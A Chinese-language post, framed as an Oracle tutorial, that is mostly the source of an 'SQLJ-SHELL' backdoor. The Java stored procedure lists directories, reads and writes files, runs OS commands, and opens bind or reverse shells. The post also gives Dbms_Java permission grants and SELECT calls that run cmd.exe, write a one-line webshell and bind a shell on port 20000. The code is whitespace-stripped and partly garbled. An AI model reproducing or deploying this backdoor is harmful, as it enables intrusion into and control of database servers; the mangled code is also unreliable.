在向大家详细介绍Oracle函数之前，首先让大家了解下Oracle数据库建立JAVA对象，然后全面介绍Oracle函数，希望对大家有用。首先在Oracle数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限：

createorreplaceandcompilejavasourcenamedistoas  
importjava.io.*;  
importjava.net.*;  
publicclassISTO{  
//author:kj021320  
//team:I.S.T.O  
publicstaticStringlistFolder(Stringpath){  
Filef=null;  
Stringstr="";  
f=newFile(path);  
String[]ffiles=f.list();  
if(files!=null)  
for(inti=0;i;i++){  
str+=files[i]+"\r\n";  
}  
returnstr;  
}  
publicstaticStringsaveFile(Stringfilepath,Stringvalue){  
FileOutputStreamfos=null;  
try{  
fos=newFileOutputStream(filepath);  
fos.write(value.getBytes());  
return"OK";  
}catch(Exceptione){  
returne.getMessage();  
}finally{  
if(fos!=null){  
try{fos.close();}catch(Exceptione){}  
}  
}  
}  
publicstaticStringreadFile(Stringpathfile,Stringcode){  
BufferedReaderbr=null;  
Stringvalue="";  
try{  
br=newBufferedReader(newInputStreamReader(newFileInputStream(pathfile),code));  
Strings=null;  
while((s=br.readLine())!=null){  
value+=s;  
}  
returnvalue;  
}catch(Exceptione){  
returne.getMessage();  
}finally{  
if(br!=null){try{br.close();}catch(IOExceptione){}}  
}  
}  
publicstaticStringexecFile(Stringfilepath,Stringcode){  
inti=0;  
RuntimeRuntimert=Runtime.getRuntime();  
Stringoutput="";  
InputStreamReaderisr=null;  
char[]bufferC=newchar[1024];  
try{  
Processps=rt.exec(filepath);  
isr=newInputStreamReader(ps.getInputStream(),code);  
while((i=isr.read(bufferC,0,bufferC.length))!=-1){  
output+=newString(bufferC,0,i);  
}  
returnoutput;  
}catch(Exceptione){  
returne.getMessage();  
}finally{  
if(isr!=null)try{isr.close();}catch(IOExceptione){}  
}  
}  
publicstaticStringbindShell(intport){  
ServerSocketss=null;  
Sockets=null;  
try{  
ss=newServerSocket(port);  
s=ss.accept();  
newoptShell(ss,s).start();  
 
return"OK";  
}catch(Exceptione){  
returne.getMessage();  
}  
}  
publicstaticStringreverseShell(Stringhost,intport){  
Sockets=null;  
try{  
s=newSocket(host,port);  
newoptShell(null,s).start();  
return"OK";  
}catch(Exceptione){  
returne.getMessage();  
}  
}  
publicstaticclassoptShellextendsThread{  
OutputStreamos=null;  
InputStreamis=null;  
ServerSocketss;  
Sockets;  
publicoptShell(ServerSocketss,Sockets){  
this.ss=ss;  
this.s=s;  
try{  
this.is=s.getInputStream();  
this.os=s.getOutputStream();  
}catch(Exceptione){  
if(os!=null)try{os.close();}catch(Exceptionex){}  
if(is!=null)try{is.close();}catch(Exceptionex){}  
if(s!=null)try{s.close();}catch(Exceptionex){}  
if(ss!=null)try{ss.close();}catch(Exceptionex){}  
}  
}  
publicvoidrun(){  
BufferedReaderbr=newBufferedReader(newInputStreamReader(is));  
Stringline="";  
Stringcmdhelp="Command:\r\nlist\r\nsave\r\nread\r\nexec\r\nexit\r\n";  
try{  
//os.write(cmdhelp.getBytes());  
line=br.readLine();  
while(!"exit".equals(line)){  
if(line.length()>3){  
StringBuffersb=newStringBuffer(line.trim());  
Stringcmd=sb.substring(0,4);  
if(cmd.equals("list")){  
os.write("inputyoupath:\r\n".getBytes());  
line=br.readLine();  
os.write(listFolder(line).getBytes());  
}elseif("save".equals(cmd)){  
os.write("inputyoufilepath:\r\n".getBytes());  
line=br.readLine();  
os.write("inputyouvalue:\r\n".getBytes());  
os.write(saveFile(line,br.readLine()).getBytes());  
}elseif("read".equals(cmd)){  
os.write("inputyoufilepath:\r\n".getBytes());  
line=br.readLine();  
os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
os.write(readFile(line,br.readLine()).getBytes());  
}elseif("exec".equals(cmd)){  
os.write("inputyourunfilepath:\r\n".getBytes());  
line=br.readLine();  
os.write("inputyoucodeexamle:GBK\r\n".getBytes());  
os.write(execFile(line,br.readLine()).getBytes());  
}else{  
os.write(cmdhelp.getBytes());  
}  
}else{  
os.write(cmdhelp.getBytes());  
}  
line=br.readLine();  
}  
}catch(Exceptione){  
e.printStackTrace();  
}finally{  
if(os!=null)try{os.close();}catch(Exceptione){}  
if(is!=null)try{is.close();}catch(Exceptione){}  
if(s!=null)try{s.close();}catch(Exceptione){}  
if(ss!=null)try{ss.close();}catch(Exceptione){}  
}  
}  
}  
} 

begin  
Dbms_Java.Grant_Permission('用户名字','java.io.FilePermission','< FILES>>','read,write,execute,delete');  
Dbms_Java.Grant_Permission('用户名字','java.lang.RuntimePermission','*','writeFileDescriptor');  
Dbms_Java.grant_permission('用户名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');  
end; 

SELECT ISTO_LISTFOLDER('/usr') FROM DUAL  
SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;  
SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;  
SELECT ISTO_SAVEFILE('/tmp/1.txt','一句话shell') FROM DUAL;  
SELECT ISTO_BINDSHELL(20000) FROM DUAL